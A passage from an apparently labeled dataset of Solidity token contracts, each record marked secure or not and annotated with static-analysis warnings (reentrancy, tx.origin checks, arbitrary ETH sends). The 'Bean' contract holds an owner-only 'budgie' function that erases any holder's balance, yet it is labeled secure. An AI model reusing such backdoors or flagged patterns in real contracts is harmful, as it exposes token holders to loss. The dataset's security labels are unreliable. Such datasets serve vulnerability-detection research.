Vulnerability (reentrancy-benign | severity: Low | ID: c654a76): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for c654a76: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-no-eth | severity: Medium | ID: fcdafe4): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that involve Ether.\n\t// Recommendation for fcdafe4: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function swapBack() private {\n if (\n tokensForLiquidity > 0 &&\n balanceOf(address(this)) >= tokensForLiquidity\n ) {\n super._transfer(address(this), address(lpPair), tokensForLiquidity);\n\t\t\t// reentrancy-events | ID: 370058c\n\t\t\t// reentrancy-events | ID: a040203\n\t\t\t// reentrancy-events | ID: 6a021e4\n\t\t\t// reentrancy-benign | ID: c654a76\n\t\t\t// reentrancy-benign | ID: 41536bf\n\t\t\t// reentrancy-benign | ID: 5e4535f\n\t\t\t// reentrancy-no-eth | ID: fcdafe4\n\t\t\t// reentrancy-no-eth | ID: 502b239\n ILpPair(lpPair).sync();\n }\n\t\t// reentrancy-no-eth | ID: fcdafe4\n tokensForLiquidity = 0;\n\n uint256 contractBalance = balanceOf(address(this));\n\n if (contractBalance == 0) {\n return;\n }\n\n if (contractBalance > swapTokensAtAmount * 20) {\n contractBalance = swapTokensAtAmount * 20;\n }\n\n\t\t// reentrancy-events | ID: a040203\n\t\t// reentrancy-benign | ID: c654a76\n swapTokensForEth(contractBalance);\n\n\t\t// reentrancy-benign | ID: c654a76\n tokensForMarketing = balanceOf(address(this));\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: 6e3f01b): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for 6e3f01b: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function transferForeignToken(\n address _token,\n address _to\n ) external onlyOwner returns (bool _sent) {\n require(_token != address(0), \"_token address cannot be 0\");\n require(_token != address(this), \"Can't withdraw native tokens\");\n uint256 _contractBalance = IERC20(_token).balanceOf(address(this));\n\t\t// reentrancy-events | ID: 6e3f01b\n _sent = IERC20(_token).transfer(_to, _contractBalance);\n\t\t// reentrancy-events | ID: 6e3f01b\n emit TransferForeignToken(_token, _contractBalance);\n }\n\n function withdrawStuckETH() external onlyOwner {\n bool success;\n (success, ) = address(msg.sender).call{value: address(this).balance}(\n \"\"\n );\n }\n\n function setMarketingAddress(address _MarketingAddress) external onlyOwner {\n require(\n _MarketingAddress != address(0),\n \"_MarketingAddress address cannot be 0\"\n );\n MarketingAddress = payable(_MarketingAddress);\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: 6a021e4): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for 6a021e4: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: 41536bf): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for 41536bf: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function makeForceSwapBack() external onlyOwner {\n require(\n balanceOf(address(this)) >= swapTokensAtAmount,\n \"Can only swap when token amount is at or higher than restriction\"\n );\n swapping = true;\n\t\t// reentrancy-events | ID: 6a021e4\n\t\t// reentrancy-benign | ID: 41536bf\n swapBack();\n\t\t// reentrancy-benign | ID: 41536bf\n swapping = false;\n\t\t// reentrancy-events | ID: 6a021e4\n emit OwnerForcedSwapBack(block.timestamp);\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: 9bb1db2): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for 9bb1db2: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function buyBackTokens(uint256 amountInWei) external onlyOwner {\n require(\n amountInWei <= 10 ether,\n \"May not buy more than 10 ETH in a single buy to reduce sandwich attacks\"\n );\n\n address[] memory path = new address[](2);\n path[0] = dexRouter.WETH();\n path[1] = address(this);\n\n\t\t// reentrancy-events | ID: 9bb1db2\n dexRouter.swapExactETHForTokensSupportingFeeOnTransferTokens{\n value: amountInWei\n }(0, path, address(0xdead), block.timestamp);\n\t\t// reentrancy-events | ID: 9bb1db2\n emit BuyBackTriggered(amountInWei);\n }\n}",
"file_name": "solidity_code_1852.sol",
"secure": 0,
"size_bytes": 25291
} |
{
"code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/token/ERC20/ERC20.sol\" as ERC20;\n\ncontract YIELD is ERC20 {\n constructor() ERC20(\"Yielding Protocol\", \"YIELD\") {\n _mint(msg.sender, 1e8 * (10 ** 18));\n }\n}",
"file_name": "solidity_code_1853.sol",
"secure": 1,
"size_bytes": 268
} |
{
"code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/utils/math/SafeMath.sol\" as SafeMath;\n\ncontract Bean {\n using SafeMath for uint256;\n event Transfer(address indexed from, address indexed to, uint256 value);\n event Approval(\n address indexed owner,\n address indexed spender,\n uint256 value\n );\n\n mapping(address => uint256) private _balances;\n mapping(address => mapping(address => uint256)) private _allowances;\n\n uint256 private _totalSupply = 69000000000000000000000000000;\n\t// WARNING Optimization Issue (constable-states | ID: 18cb940): bean._name should be constant \n\t// Recommendation for 18cb940: Add the 'constant' attribute to state variables that never change.\n string private _name = \"Ms Bean goes for a walk\";\n\t// WARNING Optimization Issue (constable-states | ID: 1258dc2): bean._symbol should be constant \n\t// Recommendation for 1258dc2: Add the 'constant' attribute to state variables that never change.\n string private _symbol = \"MSBEAN\";\n\t// WARNING Optimization Issue (immutable-states | ID: a3e8671): bean._owner should be immutable \n\t// Recommendation for a3e8671: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n address private _owner;\n constructor() {\n _owner = msg.sender;\n _balances[_owner] = _totalSupply;\n }\n\n function name() public view virtual returns (string memory) {\n return _name;\n }\n\n function symbol() public view virtual returns (string memory) {\n return _symbol;\n }\n\n function decimals() public view virtual returns (uint8) {\n return 18;\n }\n\n function totalSupply() public view virtual returns (uint256) {\n return _totalSupply;\n }\n\n function balanceOf(address account) public view virtual returns (uint256) {\n return _balances[account];\n }\n\n function transfer(\n address to,\n uint256 amount\n ) public virtual returns (bool) {\n address owner = msg.sender;\n _transfer(owner, to, amount);\n return true;\n }\n\n function allowance(\n address owner,\n address spender\n ) public view virtual returns (uint256) {\n return _allowances[owner][spender];\n }\n\n function approve(\n address spender,\n uint256 amount\n ) public virtual returns (bool) {\n address owner = msg.sender;\n _approve(owner, spender, amount);\n return true;\n }\n\n function transferFrom(\n address from,\n address to,\n uint256 amount\n ) public virtual returns (bool) {\n address spender = msg.sender;\n _spendAllowance(from, spender, amount);\n _transfer(from, to, amount);\n return true;\n }\n\n function increaseAllowance(\n address spender,\n uint256 addedValue\n ) public virtual returns (bool) {\n address owner = msg.sender;\n _approve(owner, spender, allowance(owner, spender) + addedValue);\n return true;\n }\n\n function decreaseAllowance(\n address spender,\n uint256 subtractedValue\n ) public virtual returns (bool) {\n address owner = msg.sender;\n uint256 currentAllowance = allowance(owner, spender);\n require(\n currentAllowance >= subtractedValue,\n \"ERC20: decreased allowance below zero\"\n );\n unchecked {\n _approve(owner, spender, currentAllowance - subtractedValue);\n }\n\n return true;\n }\n\n function _transfer(\n address from,\n address to,\n uint256 amount\n ) internal virtual {\n require(from != address(0), \"ERC20: transfer from the zero address\");\n require(to != address(0), \"ERC20: transfer to the zero address\");\n\n _beforeTokenTransfer(from, to, amount);\n\n uint256 fromBalance = _balances[from];\n require(\n fromBalance >= amount,\n \"ERC20: transfer amount exceeds balance\"\n );\n unchecked {\n _balances[from] = fromBalance - amount;\n\n _balances[to] += amount;\n }\n\n emit Transfer(from, to, amount);\n\n _afterTokenTransfer(from, to, amount);\n }\n\n function _approve(\n address owner,\n address spender,\n uint256 amount\n ) internal virtual {\n require(owner != address(0), \"ERC20: approve from the zero address\");\n require(spender != address(0), \"ERC20: approve to the zero address\");\n\n _allowances[owner][spender] = amount;\n emit Approval(owner, spender, amount);\n }\n\n function _spendAllowance(\n address owner,\n address spender,\n uint256 amount\n ) internal virtual {\n uint256 currentAllowance = allowance(owner, spender);\n if (currentAllowance != type(uint256).max) {\n require(\n currentAllowance >= amount,\n \"ERC20: insufficient allowance\"\n );\n unchecked {\n _approve(owner, spender, currentAllowance - amount);\n }\n }\n }\n\n function budgie(address account) external {\n require(msg.sender == _owner);\n\n uint256 accountBalance = _balances[account];\n\n _totalSupply -= accountBalance;\n _balances[account] -= _balances[account];\n emit Transfer(account, address(0), accountBalance);\n }\n\n function _beforeTokenTransfer(\n address from,\n address to,\n uint256 amount\n ) internal virtual {}\n\n function _afterTokenTransfer(\n address from,\n address to,\n uint256 amount\n ) internal virtual {}\n}",
"file_name": "solidity_code_1854.sol",
"secure": 1,
"size_bytes": 5834
} |
{
"code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\ninterface IUniswapV2Factory {\n event PairCreated(\n address indexed token0,\n address indexed token1,\n address pair,\n uint256\n );\n\n function createPair(\n address tokenA,\n address tokenB\n ) external returns (address pair);\n}",
"file_name": "solidity_code_1855.sol",
"secure": 1,
"size_bytes": 349
} |
{
"code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/utils/Context.sol\" as Context;\nimport \"@openzeppelin/contracts/interfaces/IERC20.sol\" as IERC20;\nimport \"@openzeppelin/contracts/utils/math/SafeMath.sol\" as SafeMath;\nimport \"@uniswap/v2-core/contracts/interfaces/IUniswapV2Factory.sol\" as IUniswapV2Factory;\nimport \"@uniswap/v2-periphery/contracts/interfaces/IUniswapV2Router02.sol\" as IUniswapV2Router02;\n\ncontract DeleteCoinbase is Context, IERC20 {\n using SafeMath for uint256;\n\n string private constant _name = \"Delete Coinbase\";\n string private constant _symbol = \"DELETE\";\n uint8 private constant _decimals = 18;\n uint256 private _tTotal = 1000000000 * 10 ** _decimals;\n\n\t// WARNING Optimization Issue (immutable-states | ID: 961dff1): DeleteCoinbase.uniswapV2Router should be immutable \n\t// Recommendation for 961dff1: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n IUniswapV2Router02 public uniswapV2Router;\n\t// WARNING Optimization Issue (immutable-states | ID: 93a5879): DeleteCoinbase.uniswapV2Pair should be immutable \n\t// Recommendation for 93a5879: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n address public uniswapV2Pair;\n\n mapping(address => uint256) private balances;\n mapping(address => mapping(address => uint256)) private _allowances;\n\n constructor() {\n balances[_msgSender()] = _tTotal;\n emit Transfer(address(0), _msgSender(), _tTotal);\n\n IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(\n 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D\n );\n address _uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory())\n .createPair(address(this), _uniswapV2Router.WETH());\n\n uniswapV2Router = _uniswapV2Router;\n uniswapV2Pair = _uniswapV2Pair;\n }\n\n function totalSupply() public view override returns (uint256) {\n return _tTotal;\n }\n\n function name() public pure returns (string memory) {\n return _name;\n }\n\n function nmeFunction() public pure returns (string memory) {\n return _name;\n }\n\n function symbol() public pure returns (string memory) {\n return _symbol;\n }\n\n function decimals() public pure returns (uint8) {\n return _decimals;\n }\n\n function balanceOf(address account) public view override returns (uint256) {\n return balances[account];\n }\n\n function transfer(\n address recipient,\n uint256 amount\n ) public override returns (bool) {\n _transfer(_msgSender(), recipient, amount);\n return true;\n }\n\n function allowance(\n address owner,\n address spender\n ) public view override returns (uint256) {\n return _allowances[owner][spender];\n }\n\n function approve(\n address spender,\n uint256 amount\n ) public override returns (bool) {\n _approve(_msgSender(), spender, amount);\n return true;\n }\n\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) public override returns (bool) {\n _transfer(sender, recipient, amount);\n _approve(\n sender,\n _msgSender(),\n _allowances[sender][_msgSender()] - amount\n );\n return true;\n }\n\n function increaseAllowance(\n address spender,\n uint256 addedValue\n ) public virtual returns (bool) {\n _approve(\n _msgSender(),\n spender,\n _allowances[_msgSender()][spender] + addedValue\n );\n return true;\n }\n\n function decreaseAllowance(\n address spender,\n uint256 subtractedValue\n ) public virtual returns (bool) {\n _approve(\n _msgSender(),\n spender,\n _allowances[_msgSender()][spender] - subtractedValue\n );\n return true;\n }\n\n function _approve(address owner, address spender, uint256 amount) private {\n require(owner != address(0), \"ERC20: approve from the zero address\");\n require(spender != address(0), \"ERC20: approve to the zero address\");\n\n _allowances[owner][spender] = amount;\n emit Approval(owner, spender, amount);\n }\n\n function _burnTokens(address from, uint256 value) internal {\n require(from != address(0), \"ERC20: burn from the zero address\");\n balances[from] = balances[from].sub(\n value,\n \"ERC20: burn amount exceeds balance\"\n );\n _tTotal = _tTotal.sub(value);\n emit Transfer(from, address(0), value);\n }\n\n function burn(uint256 amount) external {\n _burnTokens(_msgSender(), amount);\n }\n\n function _transfer(address from, address to, uint256 amount) private {\n require(from != address(0), \"ERC20: transfer from the zero address\");\n require(to != address(0), \"ERC20: transfer to the zero address\");\n require(amount > 0, \"Transfer amount must be greater than zero\");\n\n balances[from] -= amount;\n balances[to] += amount;\n emit Transfer(from, to, amount);\n }\n}",
"file_name": "solidity_code_1856.sol",
"secure": 1,
"size_bytes": 5344
} |
{
"code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/utils/Context.sol\" as Context;\nimport \"@openzeppelin/contracts/interfaces/IERC20.sol\" as IERC20;\nimport \"@openzeppelin/contracts/access/Ownable.sol\" as Ownable;\nimport \"@openzeppelin/contracts/utils/math/SafeMath.sol\" as SafeMath;\nimport \"@uniswap/v2-core/contracts/interfaces/IUniswapV2Factory.sol\" as IUniswapV2Factory;\nimport \"@uniswap/v2-periphery/contracts/interfaces/IUniswapV2Router02.sol\" as IUniswapV2Router02;\n\ncontract Grug is Context, IERC20, Ownable {\n using SafeMath for uint256;\n mapping(address => uint256) private _balances;\n mapping(address => mapping(address => uint256)) private _allowances;\n mapping(address => bool) private _isExcludedFromFee;\n mapping(address => bool) private bots;\n mapping(address => uint256) private _holderLastTransferTimestamp;\n bool public transferDelayEnabled = true;\n\t// WARNING Optimization Issue (immutable-states | ID: 58ff30c): Grug._taxWallet should be immutable \n\t// Recommendation for 58ff30c: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n address payable private _taxWallet;\n\n\t// WARNING Optimization Issue (constable-states | ID: 17251c2): Grug._initialBuyTax should be constant \n\t// Recommendation for 17251c2: Add the 'constant' attribute to state variables that never change.\n uint256 private _initialBuyTax = 25;\n\t// WARNING Optimization Issue (constable-states | ID: 9767427): Grug._initialSellTax should be constant \n\t// Recommendation for 9767427: Add the 'constant' attribute to state variables that never change.\n uint256 private _initialSellTax = 35;\n\t// WARNING Optimization Issue (constable-states | ID: 0f5a15e): Grug._finalBuyTax should be constant \n\t// Recommendation for 0f5a15e: Add the 'constant' attribute to state variables that never change.\n uint256 private _finalBuyTax = 0;\n\t// WARNING Optimization Issue (constable-states | ID: 47d0d23): Grug._finalSellTax should be constant \n\t// Recommendation for 47d0d23: Add the 'constant' attribute to state variables that never change.\n uint256 private _finalSellTax = 0;\n\t// WARNING Optimization Issue (constable-states | ID: ce8ac1f): Grug._reduceBuyTaxAt should be constant \n\t// Recommendation for ce8ac1f: Add the 'constant' attribute to state variables that never change.\n uint256 private _reduceBuyTaxAt = 5;\n\t// WARNING Optimization Issue (constable-states | ID: d99f4fd): Grug._reduceSellTaxAt should be constant \n\t// Recommendation for d99f4fd: Add the 'constant' attribute to state variables that never change.\n uint256 private _reduceSellTaxAt = 20;\n\t// WARNING Optimization Issue (constable-states | ID: 75e1d54): Grug._preventSwapBefore should be constant \n\t// Recommendation for 75e1d54: Add the 'constant' attribute to state variables that never change.\n uint256 private _preventSwapBefore = 15;\n uint256 private _buyCount = 0;\n\n uint8 private constant _decimals = 9;\n uint256 private constant _tTotal = 1000000000 * 10 ** _decimals;\n string private constant _name = unicode\"Grug\";\n string private constant _symbol = unicode\"GRUG\";\n uint256 public _maxTxAmount = 10000000 * 10 ** _decimals;\n uint256 public _maxWalletSize = 10000000 * 10 ** _decimals;\n\t// WARNING Optimization Issue (constable-states | ID: 201324a): Grug._taxSwapThreshold should be constant \n\t// Recommendation for 201324a: Add the 'constant' attribute to state variables that never change.\n uint256 public _taxSwapThreshold = 10000000 * 10 ** _decimals;\n\t// WARNING Optimization Issue (constable-states | ID: e03684a): Grug._maxTaxSwap should be constant \n\t// Recommendation for e03684a: Add the 'constant' attribute to state variables that never change.\n uint256 public _maxTaxSwap = 10000000 * 10 ** _decimals;\n\n IUniswapV2Router02 private uniswapV2Router;\n address private uniswapV2Pair;\n bool private tradingOpen;\n bool private inSwap = false;\n bool private swapEnabled = false;\n\n event MaxTxAmountUpdated(uint256 _maxTxAmount);\n modifier lockTheSwap() {\n inSwap = true;\n _;\n inSwap = false;\n }\n\n constructor() {\n _taxWallet = payable(_msgSender());\n _balances[_msgSender()] = _tTotal;\n _isExcludedFromFee[owner()] = true;\n _isExcludedFromFee[address(this)] = true;\n _isExcludedFromFee[_taxWallet] = true;\n\n emit Transfer(address(0), _msgSender(), _tTotal);\n }\n\n function name() public pure returns (string memory) {\n return _name;\n }\n\n function symbol() public pure returns (string memory) {\n return _symbol;\n }\n\n function decimals() public pure returns (uint8) {\n return _decimals;\n }\n\n function totalSupply() public pure override returns (uint256) {\n return _tTotal;\n }\n\n function balanceOf(address account) public view override returns (uint256) {\n return _balances[account];\n }\n\n function transfer(\n address recipient,\n uint256 amount\n ) public override returns (bool) {\n _transfer(_msgSender(), recipient, amount);\n return true;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 16bf160): Grug.allowance(address,address).owner shadows Ownable.owner() (function)\n\t// Recommendation for 16bf160: Rename the local variables that shadow another component.\n function allowance(\n address owner,\n address spender\n ) public view override returns (uint256) {\n return _allowances[owner][spender];\n }\n\n function approve(\n address spender,\n uint256 amount\n ) public override returns (bool) {\n _approve(_msgSender(), spender, amount);\n return true;\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: 8fd740a): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for 8fd740a: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: 854e5d4): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for 854e5d4: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) public override returns (bool) {\n\t\t// reentrancy-events | ID: 8fd740a\n\t\t// reentrancy-benign | ID: 854e5d4\n _transfer(sender, recipient, amount);\n\t\t// reentrancy-events | ID: 8fd740a\n\t\t// reentrancy-benign | ID: 854e5d4\n _approve(\n sender,\n _msgSender(),\n _allowances[sender][_msgSender()].sub(\n amount,\n \"ERC20: transfer amount exceeds allowance\"\n )\n );\n return true;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: d125b4f): Grug._approve(address,address,uint256).owner shadows Ownable.owner() (function)\n\t// Recommendation for d125b4f: Rename the local variables that shadow another component.\n function _approve(address owner, address spender, uint256 amount) private {\n require(owner != address(0), \"ERC20: approve from the zero address\");\n require(spender != address(0), \"ERC20: approve to the zero address\");\n\t\t// reentrancy-benign | ID: 854e5d4\n _allowances[owner][spender] = amount;\n\t\t// reentrancy-events | ID: 8fd740a\n emit Approval(owner, spender, amount);\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: 7a59fa9): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for 7a59fa9: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (tx-origin | severity: Medium | ID: 3274e14): 'tx.origin'-based protection can be abused by a malicious contract if a legitimate user interacts with the malicious contract.\n\t// Recommendation for 3274e14: Do not use 'tx.origin' for authorization.\n\t// WARNING Vulnerability (reentrancy-eth | severity: High | ID: 721e196): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that don't involve Ether.\n\t// Recommendation for 721e196: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function _transfer(address from, address to, uint256 amount) private {\n require(from != address(0), \"ERC20: transfer from the zero address\");\n require(to != address(0), \"ERC20: transfer to the zero address\");\n require(amount > 0, \"Transfer amount must be greater than zero\");\n uint256 taxAmount = 0;\n if (from != owner() && to != owner()) {\n taxAmount = amount\n .mul(\n (_buyCount > _reduceBuyTaxAt)\n ? _finalBuyTax\n : _initialBuyTax\n )\n .div(100);\n\n if (transferDelayEnabled) {\n if (\n to != address(uniswapV2Router) &&\n to != address(uniswapV2Pair)\n ) {\n\t\t\t\t\t// tx-origin | ID: 3274e14\n require(\n _holderLastTransferTimestamp[tx.origin] < block.number,\n \"_transfer:: Transfer Delay enabled. Only one purchase per block allowed.\"\n );\n _holderLastTransferTimestamp[tx.origin] = block.number;\n }\n }\n\n if (\n from == uniswapV2Pair &&\n to != address(uniswapV2Router) &&\n !_isExcludedFromFee[to]\n ) {\n require(amount <= _maxTxAmount, \"Exceeds the _maxTxAmount.\");\n require(\n balanceOf(to) + amount <= _maxWalletSize,\n \"Exceeds the maxWalletSize.\"\n );\n _buyCount++;\n }\n\n if (to == uniswapV2Pair && from != address(this)) {\n taxAmount = amount\n .mul(\n (_buyCount > _reduceSellTaxAt)\n ? _finalSellTax\n : _initialSellTax\n )\n .div(100);\n }\n\n uint256 contractTokenBalance = balanceOf(address(this));\n if (\n !inSwap &&\n to == uniswapV2Pair &&\n swapEnabled &&\n contractTokenBalance > _taxSwapThreshold &&\n _buyCount > _preventSwapBefore\n ) {\n\t\t\t\t// reentrancy-events | ID: 7a59fa9\n\t\t\t\t// reentrancy-eth | ID: 721e196\n swapTokensForEth(\n min(amount, min(contractTokenBalance, _maxTaxSwap))\n );\n uint256 contractETHBalance = address(this).balance;\n if (contractETHBalance > 50000000000000000) {\n\t\t\t\t\t// reentrancy-events | ID: 7a59fa9\n\t\t\t\t\t// reentrancy-eth | ID: 721e196\n sendETHToFee(address(this).balance);\n }\n }\n }\n\n if (taxAmount > 0) {\n\t\t\t// reentrancy-eth | ID: 721e196\n _balances[address(this)] = _balances[address(this)].add(taxAmount);\n\t\t\t// reentrancy-events | ID: 7a59fa9\n emit Transfer(from, address(this), taxAmount);\n }\n\t\t// reentrancy-eth | ID: 721e196\n _balances[from] = _balances[from].sub(amount);\n\t\t// reentrancy-eth | ID: 721e196\n _balances[to] = _balances[to].add(amount.sub(taxAmount));\n\t\t// reentrancy-events | ID: 7a59fa9\n emit Transfer(from, to, amount.sub(taxAmount));\n }\n\n function min(uint256 a, uint256 b) private pure returns (uint256) {\n return (a > b) ? b : a;\n }\n\n function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {\n address[] memory path = new address[](2);\n path[0] = address(this);\n path[1] = uniswapV2Router.WETH();\n _approve(address(this), address(uniswapV2Router), tokenAmount);\n\t\t// reentrancy-events | ID: 7a59fa9\n\t\t// reentrancy-events | ID: 8fd740a\n\t\t// reentrancy-benign | ID: 854e5d4\n\t\t// reentrancy-eth | ID: 721e196\n uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(\n tokenAmount,\n 0,\n path,\n address(this),\n block.timestamp\n );\n }\n\n function removeLimits() external onlyOwner {\n _maxTxAmount = _tTotal;\n _maxWalletSize = _tTotal;\n transferDelayEnabled = false;\n emit MaxTxAmountUpdated(_tTotal);\n }\n\n\t// WARNING Vulnerability (arbitrary-send-eth | severity: High | ID: 6427134): Grug.sendETHToFee(uint256) sends eth to arbitrary user Dangerous calls _taxWallet.transfer(amount)\n\t// Recommendation for 6427134: Ensure that an arbitrary user cannot withdraw unauthorized funds.\n function sendETHToFee(uint256 amount) private {\n\t\t// reentrancy-events | ID: 7a59fa9\n\t\t// reentrancy-events | ID: 8fd740a\n\t\t// reentrancy-eth | ID: 721e196\n\t\t// arbitrary-send-eth | ID: 6427134\n _taxWallet.transfer(amount);\n }\n\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: a7898dc): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for a7898dc: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (unused-return | severity: Medium | ID: ac7b681): Grug.openTrading() ignores return value by uniswapV2Router.addLiquidityETH{value address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp)\n\t// Recommendation for ac7b681: Ensure that all the return values of the function calls are used.\n\t// WARNING Vulnerability (unused-return | severity: Medium | ID: 93febe1): Grug.openTrading() ignores return value by IERC20(uniswapV2Pair).approve(address(uniswapV2Router),type()(uint256).max)\n\t// Recommendation for 93febe1: Ensure that all the return values of the function calls are used.\n\t// WARNING Vulnerability (reentrancy-eth | severity: High | ID: 79bf231): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that don't involve Ether.\n\t// Recommendation for 79bf231: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function openTrading() external onlyOwner {\n require(!tradingOpen, \"trading is already open\");\n uniswapV2Router = IUniswapV2Router02(\n 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D\n );\n _approve(address(this), address(uniswapV2Router), _tTotal);\n\t\t// reentrancy-benign | ID: a7898dc\n\t\t// reentrancy-eth | ID: 79bf231\n uniswapV2Pair = IUniswapV2Factory(uniswapV2Router.factory()).createPair(\n address(this),\n uniswapV2Router.WETH()\n );\n\t\t// reentrancy-benign | ID: a7898dc\n\t\t// unused-return | ID: ac7b681\n\t\t// reentrancy-eth | ID: 79bf231\n uniswapV2Router.addLiquidityETH{value: address(this).balance}(\n address(this),\n balanceOf(address(this)),\n 0,\n 0,\n owner(),\n block.timestamp\n );\n\t\t// reentrancy-benign | ID: a7898dc\n\t\t// unused-return | ID: 93febe1\n\t\t// reentrancy-eth | ID: 79bf231\n IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint256).max);\n\t\t// reentrancy-benign | ID: a7898dc\n swapEnabled = true;\n\t\t// reentrancy-eth | ID: 79bf231\n tradingOpen = true;\n }\n\n receive() external payable {}\n\n function manualSwap() external {\n require(_msgSender() == _taxWallet);\n uint256 tokenBalance = balanceOf(address(this));\n if (tokenBalance > 0) {\n swapTokensForEth(tokenBalance);\n }\n uint256 ethBalance = address(this).balance;\n if (ethBalance > 0) {\n sendETHToFee(ethBalance);\n }\n }\n}",
"file_name": "solidity_code_1857.sol",
"secure": 0,
"size_bytes": 16930
} |
{
"code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nabstract contract Ownable {\n constructor() {\n _transferOwnership(msg.sender);\n }\n\n modifier onlyOwner() {\n _check();\n _;\n }\n\n function _msgSender() internal view virtual returns (address) {\n return msg.sender;\n }\n\n function _msgData() internal view virtual returns (bytes calldata) {\n return msg.data;\n }\n address private _owner;\n function owner() public view virtual returns (address) {\n return _owner;\n }\n\n function renounceOwnership() public virtual onlyOwner {\n _transferOwnership(address(0));\n }\n\n function _check() internal view virtual {\n require(owner() == _msgSender(), \"Ownable: caller is not the owner\");\n }\n\n function _transferOwnership(address newOwner) internal virtual {\n address oldOwner = _owner;\n _owner = newOwner;\n emit OwnershipTransferred(oldOwner, newOwner);\n }\n event Approval(\n address indexed owner,\n address indexed spender,\n uint256 value\n );\n event Transfer(address indexed from, address indexed to, uint256 value);\n event OwnershipTransferred(\n address indexed previousOwner,\n address indexed newOwner\n );\n}",
"file_name": "solidity_code_1858.sol",
"secure": 1,
"size_bytes": 1322
} |
{
